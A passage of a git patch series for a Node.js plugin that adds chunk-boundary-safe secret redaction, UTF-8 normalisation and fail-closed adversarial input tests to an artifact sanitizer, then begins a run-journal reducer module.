assert.equal(projected.includes(path.basename(root)), false); + JSON.parse(projected); + const mutated = { ...ref, media_type: 'application/json' }; + assert.equal(page.artifact_ref.media_type, 'text/plain'); + assert.equal(mutated.media_type, 'application/json'); + }); +}); + +test('range pages are deterministic and reconstruct the sanitized artifact', async () => { + const bytes = Buffer.alloc(64, 0); + for (let index = 0; index < bytes.length; index += 1) bytes[index] = index; + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/pages.bin' }, async ({ store, ref }) => { + const pageSize = 16; + const parts = []; + let offset = 0; + let pages = 0; + while (true) { + const page = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: pageSize }); + assertPageShape(page); + assert.equal(page.offset, offset); + assert.equal(page.max_bytes, pageSize); + const slice = decodeSelected(page); + assert.equal(slice.equals(bytes.subarray(offset, offset + slice.length)), true); + const again = await readSanitizedArtifactV1(store, ref, { offset, max_bytes: pageSize }); + assert.equal(again.selected_content, page.selected_content); + assert.equal(again.next_offset, page.next_offset); + parts.push(slice); + pages += 1; + if (!page.more) break; + offset = page.next_offset; + } + assert.equal(pages, 4); + assert.equal(Buffer.concat(parts).equals(bytes), true); + }); +}); + +test('range and cap boundaries include empty EOF and single-byte windows', async () => { + await withPublished(PAYLOAD, {}, async ({ store, ref }) => { + const empty = await readSanitizedArtifactV1(store, ref, { offset: PAYLOAD.length, max_bytes: 8 }); + assertPageShape(empty); + assert.equal(empty.selected_byte_length, 0); + assert.equal(empty.selected_content, ''); + assert.equal(empty.more, false); + assert.equal(empty.reader_clipped, false); + + const none = await readSanitizedArtifactV1(store, ref, { offset: 0, max_bytes: 0 }); + assert.equal(none.selected_byte_length, 0); + assert.equal(none.more, true); + assert.equal(none.next_offset, 0); + assert.equal(none.reader_clipped, false); + + const last = await readSanitizedArtifactV1(store, ref, { + offset: PAYLOAD.length - 1, max_bytes: 1, + }); + assert.equal(decodeSelected(last).equals(PAYLOAD.subarray(PAYLOAD.length - 1)), true); + assert.equal(last.more, false); + + await errorOfAsync( + () => readSanitizedArtifactV1(store, ref, { offset: PAYLOAD.length + 1, max_bytes: 1 }), + 'out_of_range', + 'offset', + ); + }); +}); + +test('raw ArtifactRefV1 is denied before any artifact I/O', async () => { + await withStore(async ({ store, root }) => { + const raw = Buffer.from('owner-only raw evidence that must never face the model'); + const rawRef = refFor(raw, { artifact_class: 'raw', relative_path: 'runs/run-store-01/raw/secret.bin' }); + await store.publish(rawRef, raw); + const error = await errorOfAsync( + () => readSanitizedArtifactV1(store, rawRef), + 'raw_artifact_denied', + 'artifact_ref.artifact_class', + ); + assert.equal(error.message.includes(root), false); + assert.equal(error.message.includes('secret'), false); + assert.equal(error.message.includes(raw.toString('utf8')), false); + assert.equal((await store.verifyArtifact(rawRef)).verified, true); + }); +}); + +test('disjoint raw and sanitized siblings at one path: only sanitized is readable', async () => { + await withStore(async ({ store }) => { + const shared = 'runs/run-store-01/shared/report.bin'; + const sanitized = Buffer.from('model-facing projection'); + const raw = Buffer.from('owner-only local evidence'); + const sanitizedRef = refFor(sanitized, { relative_path: shared }); + const rawRef = refFor(raw, { relative_path: shared, artifact_class: 'raw', assignment_id: CHILD_B }); + await store.publish(sanitizedRef, sanitized); + await store.publish(rawRef, raw); + const page = await readSanitizedArtifactV1(store, sanitizedRef); + assert.equal(decodeSelected(page).equals(sanitized), true); + await errorOfAsync(() => readSanitizedArtifactV1(store, rawRef), 'raw_artifact_denied'); + }); +}); + +test('a max-range page of a larger artifact pages rather than claiming completeness', async () => { + const bytes = Buffer.alloc(ARTIFACT_READER_MAX_RANGE_BYTES + 64, 0x61); + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/large.bin' }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assertPageShape(page); + assert.equal(page.byte_length, bytes.length); + assert.ok(page.selected_byte_length <= ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.more, true); + assert.equal(typeof page.next_offset, 'number'); + assert.equal(page.complete, null); + assert.equal(page.upstream_truncated, null); + const rest = await readSanitizedArtifactV1(store, ref, { + offset: page.next_offset, + max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + assert.equal(Buffer.concat([decodeSelected(page), decodeSelected(rest)]).equals(bytes), true); + }); +}); + +test('a long relative path plus a max range is clipped by the wire cap, not marked upstream-truncated', async () => { + const bytes = Buffer.alloc(ARTIFACT_READER_MAX_RANGE_BYTES, 0x62); + await withPublished(bytes, { relative_path: longRelativePath() }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { + offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + assertPageShape(page); + assert.equal(page.reader_clipped, true); + assert.equal(page.more, true); + assert.ok(page.selected_byte_length < ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.upstream_truncated, null); + assert.equal(page.complete, null); + assert.equal(decodeSelected(page).equals(bytes.subarray(0, page.selected_byte_length)), true); + }); +}); + +test('Unicode bytes round-trip and a range may split a multibyte sequence', async () => { + const text = Buffer.from('日本語🎨 café', 'utf8'); + await withPublished(text, { + relative_path: 'runs/run-store-01/lane-日本語/note-🎨.md', + media_type: 'text/markdown', + }, async ({ store, ref }) => { + const full = await readSanitizedArtifactV1(store, ref); + assert.equal(decodeSelected(full).equals(text), true); + const split = await readSanitizedArtifactV1(store, ref, { offset: 1, max_bytes: 1 }); + assert.equal(split.selected_byte_length, 1); + assert.equal(decodeSelected(split)[0], text[1]); + }); +}); + +test('invalid UTF-8 and interior NUL bytes stay exact base64 ranges', async () => { + const binary = Buffer.from([0xff, 0xfe, 0x00, 0x01, 0x80, 0x7f]); + await withPublished(binary, { + relative_path: 'runs/run-store-01/lane-alpha/binary.bin', + media_type: 'application/octet-stream', + }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assert.equal(decodeSelected(page).equals(binary), true); + JSON.stringify(page); + }); +}); + +test('content_encoding on the ref does not reinterpret stored byte offsets', async () => { + const bytes = Buffer.from('not-really-base64-payload'); + await withPublished(bytes, { + relative_path: 'runs/run-store-01/lane-alpha/encoded.bin', + content_encoding: 'base64', + }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { offset: 4, max_bytes: 7 }); + assert.equal(decodeSelected(page).equals(bytes.subarray(4, 11)), true); + assert.equal(page.selected_encoding, 'base64'); + }); +}); From aca00c1f7d822a84c9a453beb70391cbbaf16993 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:08:08 +0000 Subject: [PATCH 018/151] feat(redaction): protect chunk-boundary secrets and Unicode Hold a finite decoded overlap so credential, bearer, env, URL, and prompt matches that straddle ingest chunks redact identically to the unsplit source. Streaming UTF-8 decode preserves astral sequences across every byte split, and malformed or unpaired input becomes U+FFFD deterministically without clipping a truncated multi-byte sequence. --- .../mcp/v3/artifact-sanitizer.mjs | 59 +++++++++- .../r1-artifact-sanitizer-fixtures.mjs | 5 +- .../test/r1-artifact-sanitizer.test.mjs | 110 ++++++++++++++++++ 3 files changed, 167 insertions(+), 7 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs index 7d24bd2..74c2f36 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-sanitizer.mjs @@ -135,6 +135,7 @@ const IS_PROXY = utilTypes.isProxy; const IS_ARRAY_BUFFER = utilTypes.isArrayBuffer; const IS_SHARED_ARRAY_BUFFER = utilTypes.isSharedArrayBuffer; const MATH_MIN = Math.min; +const MATH_MAX = Math.max; const REGEXP_CTOR = RegExp; const UINT8ARRAY_PROTOTYPE = Uint8Array.prototype; @@ -211,6 +212,35 @@ function addCounts(target, extra) { target.prompts += extra.prompts; } +function isHighSurrogate(code) { + return code >= 0xd800 && code <= 0xdbff; +} + +function isLowSurrogate(code) { + return code >= 0xdc00 && code <= 0xdfff; +} + +// Deterministic well-formed projection: unpaired UTF-16 surrogates become +// U+FFFD so sanitized UTF-8 never carries an unpaired surrogate. Astral +// pairs are preserved intact. +function wellFormedText(value) { + const text = STRING(value ?? ''); + if (typeof text.toWellFormed === 'function') return text.toWellFormed(); + let output = ''; + for (let index = 0; index < text.length; index += 1) { + const code = text.charCodeAt(index); + if (isHighSurrogate(code) && isLowSurrogate(text.charCodeAt(index + 1))) { + output += text.slice(index, index + 2); + index += 1; + } else if (isHighSurrogate(code) || isLowSurrogate(code)) { + output += '\uFFFD'; + } else { + output += text[index]; + } + } + return output; +} + function makeDecoder() { return new TEXT_DECODER_CTOR('utf-8', { fatal: false, ignoreBOM: false }); } @@ -354,19 +384,37 @@ function emitSanitized(session, text) { session.sanitizedBytes += bytes.byteLength; } -function commitPending(session) { +function commitPending(session, isFinal) { const text = session.pending; if (text.length === 0) return; - const redacted = redactRegion(text); + const overlap = isFinal ? 0 : ARTIFACT_SANITIZER_OVERLAP_CHARS; + const limit = isFinal ? text.length : MATH_MAX(0, text.length - overlap); + if (limit === 0 && !isFinal) return; + + let commitEnd = limit; + if (!isFinal) { + const selected = selectMatches(findAllMatches(text)); + for (let index = 0; index < selected.length; index += 1) { + const match = selected[index]; + if (match.index < limit && match.end > limit) { + commitEnd = MATH_MIN(commitEnd, match.index); + break; + } + } + } + + if (commitEnd <= 0) return; + const region = text.slice(0, commitEnd); + const redacted = redactRegion(region); addCounts(session.counts, redacted.counts); emitSanitized(session, redacted.text); - session.pending = ''; + session.pending = text.slice(commitEnd); } function feedDecoded(session, decoded) { if (decoded.length === 0) return; - session.pending += decoded; - commitPending(session); + session.pending += wellFormedText(decoded); + commitPending(session, false); } function feedView(session, view) { @@ -394,6 +442,7 @@ function feedView(session, view) { function finishSession(session) { const tail = session.decoder.decode(); feedDecoded(session, tail); + commitPending(session, true); if (session.received !== session.declaredLength) { failSanitizer('artifact_length_mismatch', 'artifact_ref.byte_length', 'Actual artifact length does not match the declared byte length; nothing was published.'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs index bbc3079..edb3fd1 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-sanitizer-fixtures.mjs @@ -254,6 +254,7 @@ export const SAMPLES = Object.freeze({ export const MALFORMED_RAW = Buffer.from([0x61, 0xff, 0x62, 0x0a]); export const MALFORMED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); -// U+D800 encoded as UTF-8 (ED A0 80) is malformed; decoder emits U+FFFD. +// U+D800 encoded as UTF-8 (ED A0 80) is malformed; the streaming decoder +// emits one U+FFFD per invalid unit, which is three replacements here. export const UNPAIRED_RAW = Buffer.from([0x61, 0xed, 0xa0, 0x80, 0x62, 0x0a]); -export const UNPAIRED_SANITIZED = Buffer.from('a\uFFFDb\n', 'utf8'); +export const UNPAIRED_SANITIZED = Buffer.from('a\uFFFD\uFFFD\uFFFDb\n', 'utf8'); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs index 721284c..8d309ea 100644 --- a/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer.test.mjs @@ -24,15 +24,21 @@ import { } from '../mcp/v3/artifact-ref.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { + byteSplits, CHILD_A, CHILD_B, chunksOf, digestOf, makeStoreRoot, + MALFORMED_RAW, + MALFORMED_SANITIZED, rawRefFor, removeRoot, RUN_ID, SAMPLES, + splitAt, + UNPAIRED_RAW, + UNPAIRED_SANITIZED, } from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; async function errorOfAsync(action, expectedCode, expectedPath) { @@ -297,6 +303,110 @@ test('provenance and denials are content-free', async () => { }); }); +test('secrets split across a chunk boundary redact to the same bytes and counts', async () => { + await withStore(async (store) => { + const cases = [ + ['credential', SAMPLES.credentialFormat, 9], + ['bearer', SAMPLES.bearer, 20], + ['env', SAMPLES.envAssignment, 16], + ['url', SAMPLES.urlCredential, 18], + ['prompt', SAMPLES.prompt, 12], + ]; + for (const [name, sample, offset] of cases) { + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unsplit-${name}.txt`, + }), + source: sample.raw, + }); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/split-${name}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest, name); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized), name); + assert.deepEqual(provenance.redaction_counts, sample.counts, name); + } + }); +}); + +test('one-byte streams and mixed-policy splits stay deterministic', async () => { + await withStore(async (store) => { + const sample = SAMPLES.mixed; + const viaBytes = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: byteSplits(sample.raw), + }); + assertProvenanceShape(viaBytes, sample); + const viaFive = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/mixed.txt`, + }), + source: chunksOf(sample.raw, 5), + }); + assert.equal(viaFive.sanitized_digest, viaBytes.sanitized_digest); + assert.deepEqual(viaFive.redaction_counts, sample.counts); + }); +}); + +test('astral UTF-8 sequences survive every split without clipping', async () => { + await withStore(async (store) => { + const sample = SAMPLES.astral; + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assertProvenanceShape(unsplit, sample); + for (let offset = 0; offset <= sample.raw.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/astral-${offset}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + } + }); +}); + +test('malformed and unpaired UTF-8 become U+FFFD deterministically', async () => { + await withStore(async (store) => { + const malformed = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW), + source: MALFORMED_RAW, + }); + assert.equal(malformed.sanitized_digest, digestOf(MALFORMED_SANITIZED)); + const malformedSplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/malformed-split.txt`, + }), + source: splitAt(MALFORMED_RAW, 2), + }); + assert.equal(malformedSplit.sanitized_digest, malformed.sanitized_digest); + + const unpaired = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired.txt`, + }), + source: UNPAIRED_RAW, + }); + assert.equal(unpaired.sanitized_digest, digestOf(UNPAIRED_SANITIZED)); + for (let offset = 1; offset < UNPAIRED_RAW.byteLength; offset += 1) { + const split = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired-${offset}.txt`, + }), + source: splitAt(UNPAIRED_RAW, offset), + }); + assert.equal(split.sanitized_digest, unpaired.sanitized_digest); + } + }); +}); + test('unknown option keys and missing required keys fail closed', async () => { await withStore(async (store) => { const sample = SAMPLES.plain; From d80a8fdf3ef8ab9940543cd2fd86c333ebac779f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:12:11 +0000 Subject: [PATCH 019/151] test(redaction): add split-token and oversized-stream cases Pin every byte-split of credential, bearer, env, URL, prompt, and astral/malformed/unpaired UTF-8 streams to the unsplit digest and counts. Fail closed on over-cap, endless, huge, short, and over- declared sources without publishing, and deny Proxy, revoked Proxy, subclass, SharedArrayBuffer, accessor, arbitrary, and invalid chunk sources with content-free errors. --- ...r1-artifact-sanitizer-adversarial.test.mjs | 388 ++++++++++++++++++ 1 file changed, 388 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs new file mode 100644 index 0000000..5e484b5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs @@ -0,0 +1,388 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + ARTIFACT_SANITIZER_REPLACEMENT, + sanitizeAndPublishArtifactV1, +} from '../mcp/v3/artifact-sanitizer.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + accessorIterable, + CHILD_A, + digestOf, + emptyStream, + endlessSource, + makeStoreRoot, + MALFORMED_RAW, + MALFORMED_SANITIZED, + rawRefFor, + removeRoot, + RUN_ID, + SAMPLES, + shortSource, + splitAt, + stringChunkSource, + SubclassedBytes, + throwingSource, + UNPAIRED_RAW, + UNPAIRED_SANITIZED, +} from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + const text = bytes.toString('utf8'); + if (text.trim().length > 0) { + assert.equal(message.includes(text.trim()), false, 'error echoed artifact bytes'); + } + } + assert.equal(message.includes('sk-live-secret'), false); + assert.equal(message.includes('super-secret-value'), false); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('every byte split of credentials, prompts, and UTF-8 is deterministic', async () => { + await withStore(async (store) => { + const cases = [ + ['credential', SAMPLES.credentialFormat], + ['bearer', SAMPLES.bearer], + ['env', SAMPLES.envAssignment], + ['url', SAMPLES.urlCredential], + ['prompt', SAMPLES.prompt], + ['astral', SAMPLES.astral], + ]; + for (const [name, sample] of cases) { + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/unsplit/${name}.txt`, + }), + source: sample.raw, + }); + assert.equal(unsplit.sanitized_digest, digestOf(sample.sanitized), name); + for (let offset = 0; offset <= sample.raw.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/splits/${name}/${offset}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest, `${name}@${offset}`); + assert.deepEqual(provenance.redaction_counts, sample.counts, `${name}@${offset}`); + assert.equal(provenance.source_digest, digestOf(sample.raw), `${name}@${offset}`); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength, `${name}@${offset}`); + } + } + }); +}); + +test('malformed and unpaired UTF-8 splits never clip and stay pinned', async () => { + await withStore(async (store) => { + const malformed = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW), + source: MALFORMED_RAW, + }); + assert.equal(malformed.sanitized_digest, digestOf(MALFORMED_SANITIZED)); + const unpaired = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired.txt`, + }), + source: UNPAIRED_RAW, + }); + assert.equal(unpaired.sanitized_digest, digestOf(UNPAIRED_SANITIZED)); + for (const [label, bytes, expected] of [ + ['malformed', MALFORMED_RAW, malformed], + ['unpaired', UNPAIRED_RAW, unpaired], + ]) { + for (let offset = 0; offset <= bytes.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(bytes, { + relative_path: `runs/${RUN_ID}/unicode/${label}-${offset}.txt`, + }), + source: splitAt(bytes, offset), + }); + assert.equal(provenance.sanitized_digest, expected.sanitized_digest, `${label}@${offset}`); + } + } + }); +}); + +test('oversized, endless, huge, short, and over-declared streams fail without publication', async () => { + await withStore(async (store, root) => { + const overSanitized = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); + const overSanitizedError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(overSanitized, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/over-sanitized.txt`, + }), + source: overSanitized, + }), + 'artifact_stream_over_cap', + 'sanitized', + ); + assertContentFree(overSanitizedError, root, overSanitized); + + const atRawCap = rawRefFor(Buffer.alloc(1, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/over-raw.txt`, + byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH, + sha256: 'ab'.repeat(32), + }); + const overRawError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: atRawCap, + source: Buffer.alloc(MAX_RAW_ARTIFACT_BYTE_LENGTH + 1, 0x61), + }), + 'artifact_stream_over_cap', + 'source', + ); + assertContentFree(overRawError, root); + + const endlessError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(Buffer.alloc(1, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/endless.txt`, + byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH, + sha256: 'ab'.repeat(32), + }), + source: endlessSource(), + }), + 'artifact_stream_over_cap', + ); + assertContentFree(endlessError, root); + + const declared = rawRefFor(Buffer.alloc(16, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/short.txt`, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: shortSource(16, 4), + }), + 'artifact_length_mismatch', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: emptyStream(), + }), + 'artifact_length_mismatch', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: (async function* grow() { + yield Buffer.alloc(16, 0x61); + yield Buffer.alloc(2, 0x61); + })(), + }), + 'artifact_length_mismatch', + ); + + const streamError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: declared, + source: throwingSource(new Error('secret internals about the host filesystem')), + }), + 'artifact_stream_failed', + ); + assert.equal(streamError.message.includes('secret internals'), false); + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('proxy, revoked proxy, subclass, shared buffer, accessor, and arbitrary streams fail closed', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.credentialFormat; + const ref = rawRefFor(sample.raw); + + const { proxy, counts } = countingProxy(sample.raw); + const proxyError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: proxy }), + 'proxy_denied', + ); + assertContentFree(proxyError, root, sample.raw); + assert.equal(trapTotal(counts), 0); + + const { proxy: revoked, revoke } = Proxy.revocable(sample.raw, { + get() { throw new Error('revoked get'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revoked), true); + const revokedError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: revoked }), + 'proxy_denied', + ); + assertContentFree(revokedError, root, sample.raw); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: ref, + source: new SubclassedBytes(sample.raw.byteLength), + }), + 'artifact_stream_invalid_source', + ); + + const shared = new Uint8Array(new SharedArrayBuffer(8)); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: shared }), + 'artifact_stream_invalid_source', + ); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: 'text' }), + 'artifact_stream_invalid_source', + ); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: 42 }), + 'artifact_stream_invalid_source', + ); + + const trapLog = { iteratorGetter: 0 }; + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: accessorIterable(trapLog) }), + 'artifact_stream_invalid_source', + ); + assert.equal(trapLog.iteratorGetter, 0); + + class FakeStream { + async *[Symbol.asyncIterator]() { yield sample.raw; } + } + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: new FakeStream() }), + 'artifact_stream_invalid_source', + ); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: ref, source: stringChunkSource() }), + 'artifact_stream_invalid_chunk', + ); + + let getterRuns = 0; + const accessorOptions = { + artifact_ref: ref, + source: sample.raw, + }; + Object.defineProperty(accessorOptions, 'source_truncated', { + enumerable: true, + get() { + getterRuns += 1; + return true; + }, + }); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, accessorOptions), + 'accessor_property_denied', + ); + assert.equal(getterRuns, 0); + + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('declared digest mismatch, caller regex, and option hostility fail content-free', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.mixed; + const digestError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { sha256: 'cd'.repeat(32) }), + source: sample.raw, + }), + 'artifact_digest_mismatch', + ); + assertContentFree(digestError, root, sample.raw); + + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + policy: { regex: /secret/u }, + }), + 'unknown_key', + ); + + const { proxy, counts } = countingProxy(rawRefFor(sample.raw)); + await expectCode( + () => sanitizeAndPublishArtifactV1(store, { artifact_ref: proxy, source: sample.raw }), + 'proxy_denied', + ); + assert.equal(trapTotal(counts), 0); + + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('idempotent replay, conflict, truncation, and class separation stay truthful', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.github; + const first = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assert.equal(first.complete, false); + assert.equal(first.source_truncated, true); + assert.equal(first.sanitized_digest, digestOf(sample.sanitized)); + assert.deepEqual(first.redaction_counts, sample.counts); + + const replay = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assert.equal(replay.sanitized_digest, first.sanitized_digest); + assert.equal(replay.source_digest, first.source_digest); + assert.equal((await store.verifyArtifact(first.raw_ref)).verified, true); + assert.equal((await store.verifyArtifact(first.sanitized_ref)).verified, true); + + const other = Buffer.from('conflicting sanitizer payload\n'); + const conflict = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(other), + source: other, + }), + 'artifact_content_conflict', + ); + assertContentFree(conflict, root, other); + + const report = await store.audit(); + assert.equal(report.artifacts, 2); + assert.equal(report.namespaces.raw.artifacts, 1); + assert.equal(report.namespaces.sanitized.artifacts, 1); + const projected = JSON.stringify(first); + assert.equal(projected.includes(root), false); + assert.equal(projected.includes('ghs_abcdefghijklmnop'), false); + assert.equal(projected.includes(ARTIFACT_SANITIZER_REPLACEMENT), false); + }); +}); From fc4f4f7989312056d21ef0bb0cceafbc9c07f53a Mon Sep 17 00:00:00 2001 From: Ox Alpha Date: Sat, 22 Aug 2026 22:24:01 +0000 Subject: [PATCH 020/151] feat(run): add pure deterministic run journal reducer Additive run-reducer.mjs owns the closed P25 run-journal event vocabulary, the per-child and per-run transition lattice, and the monotonic terminal-absorbing derived-state projection. Identical inputs always reduce to the identical frozen state, so exact crash/restart replay reproduces the exact derived state. Dense sequences, domain hash-chain linkage, closed event/artifact-ref shapes, the 1-8 child bound with unknown-child refusal, absorbing child and run terminals, and counter-sum invariants are enforced with typed constant errors. No I/O, clock, randomness, artifact verification, scheduler/provider invocation, or attention reduction. --- .../codex-co-engineer/mcp/v3/run-reducer.mjs | 549 ++++++++++++++++++ 1 file changed, 549 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/run-reducer.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/run-reducer.mjs b/plugins/codex-co-engineer/mcp/v3/run-reducer.mjs new file mode 100644 index 0000000..66ddc02 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-reducer.mjs @@ -0,0 +1,549 @@ +// Pure deterministic run-journal reducer (P25). This module owns the closed +// run-journal event vocabulary, the per-child/run transition lattice, and the +// monotonic terminal-absorbing derived state projection. It performs no I/O, 